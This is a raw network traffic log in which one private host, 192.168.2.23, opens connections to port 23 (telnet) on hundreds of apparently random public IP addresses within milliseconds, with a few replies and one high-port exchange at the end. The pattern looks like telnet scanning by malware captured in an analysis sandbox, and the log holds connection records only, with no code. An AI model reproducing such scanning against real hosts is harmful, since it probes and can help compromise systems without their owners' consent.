Feb 4, 2025 18:17:40.415482998 CET	47076	23	192.168.2.23	136.114.96.6
Feb 4, 2025 18:17:40.415482998 CET	47076	23	192.168.2.23	199.161.97.67
Feb 4, 2025 18:17:40.415482998 CET	47076	23	192.168.2.23	58.157.43.21
Feb 4, 2025 18:17:40.415487051 CET	47076	23	192.168.2.23	99.28.185.94
Feb 4, 2025 18:17:40.415487051 CET	47076	23	192.168.2.23	187.151.20.66
Feb 4, 2025 18:17:40.415488005 CET	47076	23	192.168.2.23	148.237.162.194
Feb 4, 2025 18:17:40.415488005 CET	47076	23	192.168.2.23	137.12.120.114
Feb 4, 2025 18:17:40.415499926 CET	47076	23	192.168.2.23	196.45.79.101
Feb 4, 2025 18:17:40.415505886 CET	47076	23	192.168.2.23	68.180.21.119
Feb 4, 2025 18:17:40.415508032 CET	47076	23	192.168.2.23	111.87.226.1
Feb 4, 2025 18:17:40.415512085 CET	47076	23	192.168.2.23	212.82.54.66
Feb 4, 2025 18:17:40.415512085 CET	47076	23	192.168.2.23	169.160.58.252
Feb 4, 2025 18:17:40.415512085 CET	47076	23	192.168.2.23	77.90.155.221
Feb 4, 2025 18:17:40.415517092 CET	47076	23	192.168.2.23	184.152.123.208
Feb 4, 2025 18:17:40.415517092 CET	47076	23	192.168.2.23	212.185.167.26
Feb 4, 2025 18:17:40.415517092 CET	47076	23	192.168.2.23	204.38.243.183
Feb 4, 2025 18:17:40.415517092 CET	47076	23	192.168.2.23	31.81.195.110
Feb 4, 2025 18:17:40.415529966 CET	47076	23	192.168.2.23	54.197.44.61
Feb 4, 2025 18:17:40.415530920 CET	47076	23	192.168.2.23	146.207.83.169
Feb 4, 2025 18:17:40.415540934 CET	47076	23	192.168.2.23	187.17.193.166
Feb 4, 2025 18:17:40.415541887 CET	47076	23	192.168.2.23	186.185.71.242
Feb 4, 2025 18:17:40.415541887 CET	47076	23	192.168.2.23	221.111.188.6
Feb 4, 2025 18:17:40.415543079 CET	47076	23	192.168.2.23	194.253.61.81
Feb 4, 2025 18:17:40.415544033 CET	47076	23	192.168.2.23	190.170.156.96
Feb 4, 2025 18:17:40.415546894 CET	47076	23	192.168.2.23	183.72.190.60
Feb 4, 2025 18:17:40.415556908 CET	47076	23	192.168.2.23	136.21.161.91
Feb 4, 2025 18:17:40.415561914 CET	47076	23	192.168.2.23	43.115.97.174
Feb 4, 2025 18:17:40.415561914 CET	47076	23	192.168.2.23	181.200.67.43
Feb 4, 2025 18:17:40.415568113 CET	47076	23	192.168.2.23	205.143.104.191
Feb 4, 2025 18:17:40.415568113 CET	47076	23	192.168.2.23	57.82.3.245
Feb 4, 2025 18:17:40.415570974 CET	47076	23	192.168.2.23	13.83.160.157
Feb 4, 2025 18:17:40.415570974 CET	47076	23	192.168.2.23	205.159.4.76
Feb 4, 2025 18:17:40.415577888 CET	47076	23	192.168.2.23	101.120.236.47
Feb 4, 2025 18:17:40.415577888 CET	47076	23	192.168.2.23	197.5.38.136
Feb 4, 2025 18:17:40.415577888 CET	47076	23	192.168.2.23	220.21.2.28
Feb 4, 2025 18:17:40.415586948 CET	47076	23	192.168.2.23	139.119.225.228
Feb 4, 2025 18:17:40.415592909 CET	47076	23	192.168.2.23	217.148.53.4
Feb 4, 2025 18:17:40.415596008 CET	47076	23	192.168.2.23	104.11.124.179
Feb 4, 2025 18:17:40.415596008 CET	47076	23	192.168.2.23	130.153.42.215
Feb 4, 2025 18:17:40.415596008 CET	47076	23	192.168.2.23	90.54.60.69
Feb 4, 2025 18:17:40.415600061 CET	47076	23	192.168.2.23	94.38.120.172
Feb 4, 2025 18:17:40.415600061 CET	47076	23	192.168.2.23	81.15.239.221
Feb 4, 2025 18:17:40.415602922 CET	47076	23	192.168.2.23	8.94.140.171
Feb 4, 2025 18:17:40.415604115 CET	47076	23	192.168.2.23	186.152.187.82
Feb 4, 2025 18:17:40.415605068 CET	47076	23	192.168.2.23	52.239.232.133
Feb 4, 2025 18:17:40.415606022 CET	47076	23	192.168.2.23	131.46.5.132
Feb 4, 2025 18:17:40.415613890 CET	47076	23	192.168.2.23	27.207.197.161
Feb 4, 2025 18:17:40.415613890 CET	47076	23	192.168.2.23	132.140.228.154
Feb 4, 2025 18:17:40.415615082 CET	47076	23	192.168.2.23	216.105.127.253
Feb 4, 2025 18:17:40.415616035 CET	47076	23	192.168.2.23	89.113.26.213
Feb 4, 2025 18:17:40.415632010 CET	47076	23	192.168.2.23	147.228.225.219
Feb 4, 2025 18:17:40.415633917 CET	47076	23	192.168.2.23	125.10.119.207
Feb 4, 2025 18:17:40.415635109 CET	47076	23	192.168.2.23	134.80.142.230
Feb 4, 2025 18:17:40.415637970 CET	47076	23	192.168.2.23	202.24.234.117
Feb 4, 2025 18:17:40.415638924 CET	47076	23	192.168.2.23	152.166.238.112
Feb 4, 2025 18:17:40.415649891 CET	47076	23	192.168.2.23	117.252.150.141
Feb 4, 2025 18:17:40.415649891 CET	47076	23	192.168.2.23	4.92.29.223
Feb 4, 2025 18:17:40.415649891 CET	47076	23	192.168.2.23	183.149.221.217
Feb 4, 2025 18:17:40.415652037 CET	47076	23	192.168.2.23	192.40.85.100
Feb 4, 2025 18:17:40.415652037 CET	47076	23	192.168.2.23	60.94.190.10
Feb 4, 2025 18:17:40.415652037 CET	47076	23	192.168.2.23	176.229.126.104
Feb 4, 2025 18:17:40.415652037 CET	47076	23	192.168.2.23	64.91.153.116
Feb 4, 2025 18:17:40.415652990 CET	47076	23	192.168.2.23	79.104.60.230
Feb 4, 2025 18:17:40.415652037 CET	47076	23	192.168.2.23	208.137.225.54
Feb 4, 2025 18:17:40.415652990 CET	47076	23	192.168.2.23	168.62.93.138
Feb 4, 2025 18:17:40.415654898 CET	47076	23	192.168.2.23	123.11.81.143
Feb 4, 2025 18:17:40.415654898 CET	47076	23	192.168.2.23	103.9.219.182
Feb 4, 2025 18:17:40.415661097 CET	47076	23	192.168.2.23	113.166.40.17
Feb 4, 2025 18:17:40.415661097 CET	47076	23	192.168.2.23	101.30.37.96
Feb 4, 2025 18:17:40.415667057 CET	47076	23	192.168.2.23	202.155.8.38
Feb 4, 2025 18:17:40.415667057 CET	47076	23	192.168.2.23	63.0.35.22
Feb 4, 2025 18:17:40.415668011 CET	47076	23	192.168.2.23	78.119.162.11
Feb 4, 2025 18:17:40.415668011 CET	47076	23	192.168.2.23	90.24.104.153
Feb 4, 2025 18:17:40.415668964 CET	47076	23	192.168.2.23	86.76.64.14
Feb 4, 2025 18:17:40.415676117 CET	47076	23	192.168.2.23	147.193.209.212
Feb 4, 2025 18:17:40.415676117 CET	47076	23	192.168.2.23	200.219.59.150
Feb 4, 2025 18:17:40.415682077 CET	47076	23	192.168.2.23	63.54.72.132
Feb 4, 2025 18:17:40.415690899 CET	47076	23	192.168.2.23	198.160.137.193
Feb 4, 2025 18:17:40.415690899 CET	47076	23	192.168.2.23	1.167.222.160
Feb 4, 2025 18:17:40.415692091 CET	47076	23	192.168.2.23	199.48.57.226
Feb 4, 2025 18:17:40.415695906 CET	47076	23	192.168.2.23	133.46.55.158
Feb 4, 2025 18:17:40.415704012 CET	47076	23	192.168.2.23	167.87.89.81
Feb 4, 2025 18:17:40.415703058 CET	47076	23	192.168.2.23	210.27.52.117
Feb 4, 2025 18:17:40.415709019 CET	47076	23	192.168.2.23	125.58.125.132
Feb 4, 2025 18:17:40.415709019 CET	47076	23	192.168.2.23	62.22.82.10
Feb 4, 2025 18:17:40.415713072 CET	47076	23	192.168.2.23	160.133.28.178
Feb 4, 2025 18:17:40.415716887 CET	47076	23	192.168.2.23	164.98.250.39
Feb 4, 2025 18:17:40.415716887 CET	47076	23	192.168.2.23	76.192.8.62
Feb 4, 2025 18:17:40.415716887 CET	47076	23	192.168.2.23	41.53.88.232
Feb 4, 2025 18:17:40.415718079 CET	47076	23	192.168.2.23	42.28.249.210
Feb 4, 2025 18:17:40.415719986 CET	47076	23	192.168.2.23	20.110.248.133
Feb 4, 2025 18:17:40.415726900 CET	47076	23	192.168.2.23	67.204.147.51
Feb 4, 2025 18:17:40.415726900 CET	47076	23	192.168.2.23	137.40.162.15
Feb 4, 2025 18:17:40.415726900 CET	47076	23	192.168.2.23	173.136.121.112
Feb 4, 2025 18:17:40.415726900 CET	47076	23	192.168.2.23	96.207.209.23
Feb 4, 2025 18:17:40.415728092 CET	47076	23	192.168.2.23	110.224.189.29
Feb 4, 2025 18:17:40.415734053 CET	47076	23	192.168.2.23	222.162.169.59
Feb 4, 2025 18:17:40.415744066 CET	47076	23	192.168.2.23	50.22.229.129
Feb 4, 2025 18:17:40.415745020 CET	47076	23	192.168.2.23	212.157.191.237
Feb 4, 2025 18:17:40.415744066 CET	47076	23	192.168.2.23	181.207.123.98
Feb 4, 2025 18:17:40.415745020 CET	47076	23	192.168.2.23	161.102.245.129
Feb 4, 2025 18:17:40.415744066 CET	47076	23	192.168.2.23	219.29.255.219
Feb 4, 2025 18:17:40.415745020 CET	47076	23	192.168.2.23	208.232.140.91
Feb 4, 2025 18:17:40.415744066 CET	47076	23	192.168.2.23	14.44.175.84
Feb 4, 2025 18:17:40.415745020 CET	47076	23	192.168.2.23	1.154.228.18
Feb 4, 2025 18:17:40.415754080 CET	47076	23	192.168.2.23	43.182.68.194
Feb 4, 2025 18:17:40.415754080 CET	47076	23	192.168.2.23	199.186.144.214
Feb 4, 2025 18:17:40.415756941 CET	47076	23	192.168.2.23	117.196.231.113
Feb 4, 2025 18:17:40.415756941 CET	47076	23	192.168.2.23	136.244.79.72
Feb 4, 2025 18:17:40.415759087 CET	47076	23	192.168.2.23	74.27.90.66
Feb 4, 2025 18:17:40.415760040 CET	47076	23	192.168.2.23	153.213.251.38
Feb 4, 2025 18:17:40.415762901 CET	47076	23	192.168.2.23	135.86.105.28
Feb 4, 2025 18:17:40.415767908 CET	47076	23	192.168.2.23	50.247.208.73
Feb 4, 2025 18:17:40.415772915 CET	47076	23	192.168.2.23	198.187.184.77
Feb 4, 2025 18:17:40.415775061 CET	47076	23	192.168.2.23	130.128.80.196
Feb 4, 2025 18:17:40.415779114 CET	47076	23	192.168.2.23	210.132.254.47
Feb 4, 2025 18:17:40.415781975 CET	47076	23	192.168.2.23	51.57.111.140
Feb 4, 2025 18:17:40.415783882 CET	47076	23	192.168.2.23	216.41.223.169
Feb 4, 2025 18:17:40.415783882 CET	47076	23	192.168.2.23	12.242.138.85
Feb 4, 2025 18:17:40.415786028 CET	47076	23	192.168.2.23	147.102.106.120
Feb 4, 2025 18:17:40.415790081 CET	47076	23	192.168.2.23	32.66.204.23
Feb 4, 2025 18:17:40.415791035 CET	47076	23	192.168.2.23	80.236.212.187
Feb 4, 2025 18:17:40.415792942 CET	47076	23	192.168.2.23	189.189.74.14
Feb 4, 2025 18:17:40.415792942 CET	47076	23	192.168.2.23	82.19.177.226
Feb 4, 2025 18:17:40.415793896 CET	47076	23	192.168.2.23	181.84.52.155
Feb 4, 2025 18:17:40.415793896 CET	47076	23	192.168.2.23	39.24.163.220
Feb 4, 2025 18:17:40.415805101 CET	47076	23	192.168.2.23	129.181.77.112
Feb 4, 2025 18:17:40.415815115 CET	47076	23	192.168.2.23	87.215.191.250
Feb 4, 2025 18:17:40.415819883 CET	47076	23	192.168.2.23	68.136.152.153
Feb 4, 2025 18:17:40.415826082 CET	47076	23	192.168.2.23	194.90.47.85
Feb 4, 2025 18:17:40.415831089 CET	47076	23	192.168.2.23	170.53.73.131
Feb 4, 2025 18:17:40.415831089 CET	47076	23	192.168.2.23	208.45.158.203
Feb 4, 2025 18:17:40.415832043 CET	47076	23	192.168.2.23	195.122.167.161
Feb 4, 2025 18:17:40.415832043 CET	47076	23	192.168.2.23	174.33.124.190
Feb 4, 2025 18:17:40.415832043 CET	47076	23	192.168.2.23	12.156.13.202
Feb 4, 2025 18:17:40.415834904 CET	47076	23	192.168.2.23	154.142.241.209
Feb 4, 2025 18:17:40.415834904 CET	47076	23	192.168.2.23	45.203.28.170
Feb 4, 2025 18:17:40.415834904 CET	47076	23	192.168.2.23	108.21.207.21
Feb 4, 2025 18:17:40.415834904 CET	47076	23	192.168.2.23	186.253.11.74
Feb 4, 2025 18:17:40.415842056 CET	47076	23	192.168.2.23	52.38.22.59
Feb 4, 2025 18:17:40.415842056 CET	47076	23	192.168.2.23	195.95.201.196
Feb 4, 2025 18:17:40.415846109 CET	47076	23	192.168.2.23	135.141.139.228
Feb 4, 2025 18:17:40.415853024 CET	47076	23	192.168.2.23	101.57.129.242
Feb 4, 2025 18:17:40.415853024 CET	47076	23	192.168.2.23	74.98.247.67
Feb 4, 2025 18:17:40.415853024 CET	47076	23	192.168.2.23	147.215.155.152
Feb 4, 2025 18:17:40.415853024 CET	47076	23	192.168.2.23	153.55.168.122
Feb 4, 2025 18:17:40.415859938 CET	47076	23	192.168.2.23	82.221.145.152
Feb 4, 2025 18:17:40.415868044 CET	47076	23	192.168.2.23	184.52.112.210
Feb 4, 2025 18:17:40.415875912 CET	47076	23	192.168.2.23	157.52.230.245
Feb 4, 2025 18:17:40.415875912 CET	47076	23	192.168.2.23	137.183.74.248
Feb 4, 2025 18:17:40.415875912 CET	47076	23	192.168.2.23	92.205.239.251
Feb 4, 2025 18:17:40.415878057 CET	47076	23	192.168.2.23	128.174.170.109
Feb 4, 2025 18:17:40.415879011 CET	47076	23	192.168.2.23	193.220.227.62
Feb 4, 2025 18:17:40.415880919 CET	47076	23	192.168.2.23	157.197.215.167
Feb 4, 2025 18:17:40.415880919 CET	47076	23	192.168.2.23	188.23.89.130
Feb 4, 2025 18:17:40.415889978 CET	47076	23	192.168.2.23	65.98.227.15
Feb 4, 2025 18:17:40.415889978 CET	47076	23	192.168.2.23	118.45.40.109
Feb 4, 2025 18:17:40.415889978 CET	47076	23	192.168.2.23	129.251.51.95
Feb 4, 2025 18:17:40.415894985 CET	47076	23	192.168.2.23	85.82.223.199
Feb 4, 2025 18:17:40.415899038 CET	47076	23	192.168.2.23	161.95.56.244
Feb 4, 2025 18:17:40.415899038 CET	47076	23	192.168.2.23	52.254.190.189
Feb 4, 2025 18:17:40.415899038 CET	47076	23	192.168.2.23	116.6.65.201
Feb 4, 2025 18:17:40.415899038 CET	47076	23	192.168.2.23	106.23.168.103
Feb 4, 2025 18:17:40.415914059 CET	47076	23	192.168.2.23	95.246.80.166
Feb 4, 2025 18:17:40.415920973 CET	47076	23	192.168.2.23	117.86.13.165
Feb 4, 2025 18:17:40.415921926 CET	47076	23	192.168.2.23	204.164.205.24
Feb 4, 2025 18:17:40.415934086 CET	47076	23	192.168.2.23	109.133.241.56
Feb 4, 2025 18:17:40.415945053 CET	47076	23	192.168.2.23	72.220.227.8
Feb 4, 2025 18:17:40.415946007 CET	47076	23	192.168.2.23	59.105.128.247
Feb 4, 2025 18:17:40.415946960 CET	47076	23	192.168.2.23	45.116.66.38
Feb 4, 2025 18:17:40.415946960 CET	47076	23	192.168.2.23	86.169.89.110
Feb 4, 2025 18:17:40.415946960 CET	47076	23	192.168.2.23	117.120.116.86
Feb 4, 2025 18:17:40.415946960 CET	47076	23	192.168.2.23	1.156.225.117
Feb 4, 2025 18:17:40.415946960 CET	47076	23	192.168.2.23	163.127.207.71
Feb 4, 2025 18:17:40.415946960 CET	47076	23	192.168.2.23	75.140.185.140
Feb 4, 2025 18:17:40.415955067 CET	47076	23	192.168.2.23	84.77.139.88
Feb 4, 2025 18:17:40.415957928 CET	47076	23	192.168.2.23	52.84.135.250
Feb 4, 2025 18:17:40.415957928 CET	47076	23	192.168.2.23	85.83.172.28
Feb 4, 2025 18:17:40.415961027 CET	47076	23	192.168.2.23	35.242.164.252
Feb 4, 2025 18:17:40.415963888 CET	47076	23	192.168.2.23	125.17.78.54
Feb 4, 2025 18:17:40.415972948 CET	47076	23	192.168.2.23	37.179.197.248
Feb 4, 2025 18:17:40.415975094 CET	47076	23	192.168.2.23	41.191.131.93
Feb 4, 2025 18:17:40.415982962 CET	47076	23	192.168.2.23	111.60.5.2
Feb 4, 2025 18:17:40.415994883 CET	47076	23	192.168.2.23	200.136.198.52
Feb 4, 2025 18:17:40.415994883 CET	47076	23	192.168.2.23	167.74.233.160
Feb 4, 2025 18:17:40.415996075 CET	47076	23	192.168.2.23	36.88.62.175
Feb 4, 2025 18:17:40.415997028 CET	47076	23	192.168.2.23	92.112.108.230
Feb 4, 2025 18:17:40.415996075 CET	47076	23	192.168.2.23	179.192.15.40
Feb 4, 2025 18:17:40.415997028 CET	47076	23	192.168.2.23	172.251.60.95
Feb 4, 2025 18:17:40.416002035 CET	47076	23	192.168.2.23	41.18.54.47
Feb 4, 2025 18:17:40.416013956 CET	47076	23	192.168.2.23	119.141.223.139
Feb 4, 2025 18:17:40.416018009 CET	47076	23	192.168.2.23	35.91.53.80
Feb 4, 2025 18:17:40.416018009 CET	47076	23	192.168.2.23	1.136.82.47
Feb 4, 2025 18:17:40.416018009 CET	47076	23	192.168.2.23	82.156.119.74
Feb 4, 2025 18:17:40.416018963 CET	47076	23	192.168.2.23	115.250.251.12
Feb 4, 2025 18:17:40.416018963 CET	47076	23	192.168.2.23	37.137.172.20
Feb 4, 2025 18:17:40.416018963 CET	47076	23	192.168.2.23	39.71.167.77
Feb 4, 2025 18:17:40.416028976 CET	47076	23	192.168.2.23	9.111.159.248
Feb 4, 2025 18:17:40.416028976 CET	47076	23	192.168.2.23	180.220.170.182
Feb 4, 2025 18:17:40.416028976 CET	47076	23	192.168.2.23	175.146.3.49
Feb 4, 2025 18:17:40.416032076 CET	47076	23	192.168.2.23	91.55.206.115
Feb 4, 2025 18:17:40.416032076 CET	47076	23	192.168.2.23	166.161.89.241
Feb 4, 2025 18:17:40.416033983 CET	47076	23	192.168.2.23	34.168.204.218
Feb 4, 2025 18:17:40.416033983 CET	47076	23	192.168.2.23	1.151.203.248
Feb 4, 2025 18:17:40.416054964 CET	47076	23	192.168.2.23	117.135.121.219
Feb 4, 2025 18:17:40.416057110 CET	47076	23	192.168.2.23	38.242.37.223
Feb 4, 2025 18:17:40.416057110 CET	47076	23	192.168.2.23	101.228.219.8
Feb 4, 2025 18:17:40.416058064 CET	47076	23	192.168.2.23	101.142.216.196
Feb 4, 2025 18:17:40.416059017 CET	47076	23	192.168.2.23	219.128.24.114
Feb 4, 2025 18:17:40.416059017 CET	47076	23	192.168.2.23	43.63.236.131
Feb 4, 2025 18:17:40.416064978 CET	47076	23	192.168.2.23	199.59.158.106
Feb 4, 2025 18:17:40.416066885 CET	47076	23	192.168.2.23	159.118.122.101
Feb 4, 2025 18:17:40.416068077 CET	47076	23	192.168.2.23	94.55.159.104
Feb 4, 2025 18:17:40.416066885 CET	47076	23	192.168.2.23	205.69.110.59
Feb 4, 2025 18:17:40.416068077 CET	47076	23	192.168.2.23	57.21.102.45
Feb 4, 2025 18:17:40.416068077 CET	47076	23	192.168.2.23	204.118.118.24
Feb 4, 2025 18:17:40.416074991 CET	47076	23	192.168.2.23	65.255.108.120
Feb 4, 2025 18:17:40.416075945 CET	47076	23	192.168.2.23	129.229.109.83
Feb 4, 2025 18:17:40.416080952 CET	47076	23	192.168.2.23	164.26.49.183
Feb 4, 2025 18:17:40.416085958 CET	47076	23	192.168.2.23	164.75.110.46
Feb 4, 2025 18:17:40.416088104 CET	47076	23	192.168.2.23	186.232.200.226
Feb 4, 2025 18:17:40.416096926 CET	47076	23	192.168.2.23	72.31.18.242
Feb 4, 2025 18:17:40.416107893 CET	47076	23	192.168.2.23	190.57.93.132
Feb 4, 2025 18:17:40.416115999 CET	47076	23	192.168.2.23	184.80.199.5
Feb 4, 2025 18:17:40.416115999 CET	47076	23	192.168.2.23	23.104.15.206
Feb 4, 2025 18:17:40.416115999 CET	47076	23	192.168.2.23	51.40.213.19
Feb 4, 2025 18:17:40.416120052 CET	47076	23	192.168.2.23	108.51.85.98
Feb 4, 2025 18:17:40.416121960 CET	47076	23	192.168.2.23	92.152.30.179
Feb 4, 2025 18:17:40.416126013 CET	47076	23	192.168.2.23	99.96.74.27
Feb 4, 2025 18:17:40.416126966 CET	47076	23	192.168.2.23	88.42.211.140
Feb 4, 2025 18:17:40.416126966 CET	47076	23	192.168.2.23	167.245.214.73
Feb 4, 2025 18:17:40.416126966 CET	47076	23	192.168.2.23	176.25.42.2
Feb 4, 2025 18:17:40.416135073 CET	47076	23	192.168.2.23	120.136.7.194
Feb 4, 2025 18:17:40.416136026 CET	47076	23	192.168.2.23	76.149.58.250
Feb 4, 2025 18:17:40.416136980 CET	47076	23	192.168.2.23	112.50.41.179
Feb 4, 2025 18:17:40.416136980 CET	47076	23	192.168.2.23	136.129.133.131
Feb 4, 2025 18:17:40.416141033 CET	47076	23	192.168.2.23	190.56.228.31
Feb 4, 2025 18:17:40.416141987 CET	47076	23	192.168.2.23	162.66.109.85
Feb 4, 2025 18:17:40.416143894 CET	47076	23	192.168.2.23	133.141.189.148
Feb 4, 2025 18:17:40.416156054 CET	47076	23	192.168.2.23	207.143.159.69
Feb 4, 2025 18:17:40.416156054 CET	47076	23	192.168.2.23	163.136.5.27
Feb 4, 2025 18:17:40.416156054 CET	47076	23	192.168.2.23	167.151.80.73
Feb 4, 2025 18:17:40.416163921 CET	47076	23	192.168.2.23	129.19.36.35
Feb 4, 2025 18:17:40.416165113 CET	47076	23	192.168.2.23	100.55.91.40
Feb 4, 2025 18:17:40.416163921 CET	47076	23	192.168.2.23	160.77.15.29
Feb 4, 2025 18:17:40.416172028 CET	47076	23	192.168.2.23	150.3.119.188
Feb 4, 2025 18:17:40.416172981 CET	47076	23	192.168.2.23	178.198.9.21
Feb 4, 2025 18:17:40.416179895 CET	47076	23	192.168.2.23	40.24.203.219
Feb 4, 2025 18:17:40.416182041 CET	47076	23	192.168.2.23	150.252.5.20
Feb 4, 2025 18:17:40.416182995 CET	47076	23	192.168.2.23	123.79.212.187
Feb 4, 2025 18:17:40.416182995 CET	47076	23	192.168.2.23	98.23.223.252
Feb 4, 2025 18:17:40.416182995 CET	47076	23	192.168.2.23	197.76.173.82
Feb 4, 2025 18:17:40.416191101 CET	47076	23	192.168.2.23	8.18.108.143
Feb 4, 2025 18:17:40.416196108 CET	47076	23	192.168.2.23	94.138.166.216
Feb 4, 2025 18:17:40.416198969 CET	47076	23	192.168.2.23	193.54.33.70
Feb 4, 2025 18:17:40.416198969 CET	47076	23	192.168.2.23	121.125.232.234
Feb 4, 2025 18:17:40.416198969 CET	47076	23	192.168.2.23	176.146.10.7
Feb 4, 2025 18:17:40.416202068 CET	47076	23	192.168.2.23	216.146.32.11
Feb 4, 2025 18:17:40.416208029 CET	47076	23	192.168.2.23	136.80.130.188
Feb 4, 2025 18:17:40.416208982 CET	47076	23	192.168.2.23	212.187.36.114
Feb 4, 2025 18:17:40.416208029 CET	47076	23	192.168.2.23	61.107.88.69
Feb 4, 2025 18:17:40.416208029 CET	47076	23	192.168.2.23	172.182.33.203
Feb 4, 2025 18:17:40.416214943 CET	47076	23	192.168.2.23	152.77.157.129
Feb 4, 2025 18:17:40.416215897 CET	47076	23	192.168.2.23	197.199.128.105
Feb 4, 2025 18:17:40.416215897 CET	47076	23	192.168.2.23	198.75.61.111
Feb 4, 2025 18:17:40.416237116 CET	47076	23	192.168.2.23	216.178.228.34
Feb 4, 2025 18:17:40.416239023 CET	47076	23	192.168.2.23	168.64.218.185
Feb 4, 2025 18:17:40.416239023 CET	47076	23	192.168.2.23	212.88.119.173
Feb 4, 2025 18:17:40.416240931 CET	47076	23	192.168.2.23	207.16.102.143
Feb 4, 2025 18:17:40.416240931 CET	47076	23	192.168.2.23	180.168.81.28
Feb 4, 2025 18:17:40.416244030 CET	47076	23	192.168.2.23	138.244.236.224
Feb 4, 2025 18:17:40.416244030 CET	47076	23	192.168.2.23	1.25.18.243
Feb 4, 2025 18:17:40.416244030 CET	47076	23	192.168.2.23	181.29.209.52
Feb 4, 2025 18:17:40.416244984 CET	47076	23	192.168.2.23	185.55.2.106
Feb 4, 2025 18:17:40.416249990 CET	47076	23	192.168.2.23	49.121.253.253
Feb 4, 2025 18:17:40.416251898 CET	47076	23	192.168.2.23	84.54.120.152
Feb 4, 2025 18:17:40.416264057 CET	47076	23	192.168.2.23	87.59.182.62
Feb 4, 2025 18:17:40.416264057 CET	47076	23	192.168.2.23	102.45.5.164
Feb 4, 2025 18:17:40.416264057 CET	47076	23	192.168.2.23	31.171.3.135
Feb 4, 2025 18:17:40.416264057 CET	47076	23	192.168.2.23	140.247.195.17
Feb 4, 2025 18:17:40.416265011 CET	47076	23	192.168.2.23	192.30.80.129
Feb 4, 2025 18:17:40.416270971 CET	47076	23	192.168.2.23	212.142.94.17
Feb 4, 2025 18:17:40.416276932 CET	47076	23	192.168.2.23	8.124.202.19
Feb 4, 2025 18:17:40.416279078 CET	47076	23	192.168.2.23	64.222.182.35
Feb 4, 2025 18:17:40.416279078 CET	47076	23	192.168.2.23	181.177.217.158
Feb 4, 2025 18:17:40.416279078 CET	47076	23	192.168.2.23	4.255.128.207
Feb 4, 2025 18:17:40.416281939 CET	47076	23	192.168.2.23	180.234.129.51
Feb 4, 2025 18:17:40.416295052 CET	47076	23	192.168.2.23	96.111.97.223
Feb 4, 2025 18:17:40.416296005 CET	47076	23	192.168.2.23	170.14.116.31
Feb 4, 2025 18:17:40.416300058 CET	47076	23	192.168.2.23	204.179.115.102
Feb 4, 2025 18:17:40.416300058 CET	47076	23	192.168.2.23	129.44.28.45
Feb 4, 2025 18:17:40.416301966 CET	47076	23	192.168.2.23	135.68.174.65
Feb 4, 2025 18:17:40.416305065 CET	47076	23	192.168.2.23	42.50.240.171
Feb 4, 2025 18:17:40.416305065 CET	47076	23	192.168.2.23	205.167.5.97
Feb 4, 2025 18:17:40.416305065 CET	47076	23	192.168.2.23	35.20.22.162
Feb 4, 2025 18:17:40.416309118 CET	47076	23	192.168.2.23	102.62.56.95
Feb 4, 2025 18:17:40.416309118 CET	47076	23	192.168.2.23	143.171.221.157
Feb 4, 2025 18:17:40.416311979 CET	47076	23	192.168.2.23	205.111.77.97
Feb 4, 2025 18:17:40.416313887 CET	47076	23	192.168.2.23	89.135.237.162
Feb 4, 2025 18:17:40.416316986 CET	47076	23	192.168.2.23	181.235.63.81
Feb 4, 2025 18:17:40.416322947 CET	47076	23	192.168.2.23	179.231.210.109
Feb 4, 2025 18:17:40.416327000 CET	47076	23	192.168.2.23	81.196.123.195
Feb 4, 2025 18:17:40.416327000 CET	47076	23	192.168.2.23	154.55.187.229
Feb 4, 2025 18:17:40.416332960 CET	47076	23	192.168.2.23	160.160.169.89
Feb 4, 2025 18:17:40.416341066 CET	47076	23	192.168.2.23	206.174.104.64
Feb 4, 2025 18:17:40.416341066 CET	47076	23	192.168.2.23	99.112.144.48
Feb 4, 2025 18:17:40.416342974 CET	47076	23	192.168.2.23	4.159.162.84
Feb 4, 2025 18:17:40.416347027 CET	47076	23	192.168.2.23	25.77.22.214
Feb 4, 2025 18:17:40.416347027 CET	47076	23	192.168.2.23	128.232.138.13
Feb 4, 2025 18:17:40.416347027 CET	47076	23	192.168.2.23	46.148.164.87
Feb 4, 2025 18:17:40.416347027 CET	47076	23	192.168.2.23	143.234.70.172
Feb 4, 2025 18:17:40.416347027 CET	47076	23	192.168.2.23	80.81.106.28
Feb 4, 2025 18:17:40.416352987 CET	47076	23	192.168.2.23	170.159.133.228
Feb 4, 2025 18:17:40.416363955 CET	47076	23	192.168.2.23	188.30.50.199
Feb 4, 2025 18:17:40.416368008 CET	47076	23	192.168.2.23	181.15.15.66
Feb 4, 2025 18:17:40.416368961 CET	47076	23	192.168.2.23	223.229.155.149
Feb 4, 2025 18:17:40.416368008 CET	47076	23	192.168.2.23	164.14.11.112
Feb 4, 2025 18:17:40.416368008 CET	47076	23	192.168.2.23	122.178.228.187
Feb 4, 2025 18:17:40.416368008 CET	47076	23	192.168.2.23	185.11.87.113
Feb 4, 2025 18:17:40.416378021 CET	47076	23	192.168.2.23	25.195.220.184
Feb 4, 2025 18:17:40.416378021 CET	47076	23	192.168.2.23	25.186.76.226
Feb 4, 2025 18:17:40.416380882 CET	47076	23	192.168.2.23	145.217.4.186
Feb 4, 2025 18:17:40.416380882 CET	47076	23	192.168.2.23	116.11.252.199
Feb 4, 2025 18:17:40.416389942 CET	47076	23	192.168.2.23	152.106.152.33
Feb 4, 2025 18:17:40.416397095 CET	47076	23	192.168.2.23	97.232.140.235
Feb 4, 2025 18:17:40.416397095 CET	47076	23	192.168.2.23	181.212.114.79
Feb 4, 2025 18:17:40.416398048 CET	47076	23	192.168.2.23	121.66.181.218
Feb 4, 2025 18:17:40.419425964 CET	59666	40930	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:40.419493914 CET	40930	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:40.420392036 CET	23	47076	72.81.66.12	192.168.2.23
Feb 4, 2025 18:17:40.420411110 CET	23	47076	4.253.48.17	192.168.2.23
Feb 4, 2025 18:17:40.420433044 CET	23	47076	197.113.45.182	192.168.2.23
Feb 4, 2025 18:17:40.420443058 CET	23	47076	145.89.231.166	192.168.2.23
Feb 4, 2025 18:17:40.420447111 CET	23	47076	89.177.48.32	192.168.2.23
Feb 4, 2025 18:17:40.420453072 CET	23	47076	124.167.125.25	192.168.2.23
Feb 4, 2025 18:17:40.420464039 CET	23	47076	168.135.116.157	192.168.2.23
Feb 4, 2025 18:17:40.420465946 CET	47076	23	192.168.2.23	72.81.66.12
Feb 4, 2025 18:17:40.420465946 CET	47076	23	192.168.2.23	197.113.45.182
Feb 4, 2025 18:17:40.420469046 CET	47076	23	192.168.2.23	4.253.48.17
Feb 4, 2025 18:17:40.420475006 CET	23	47076	77.62.19.26	192.168.2.23
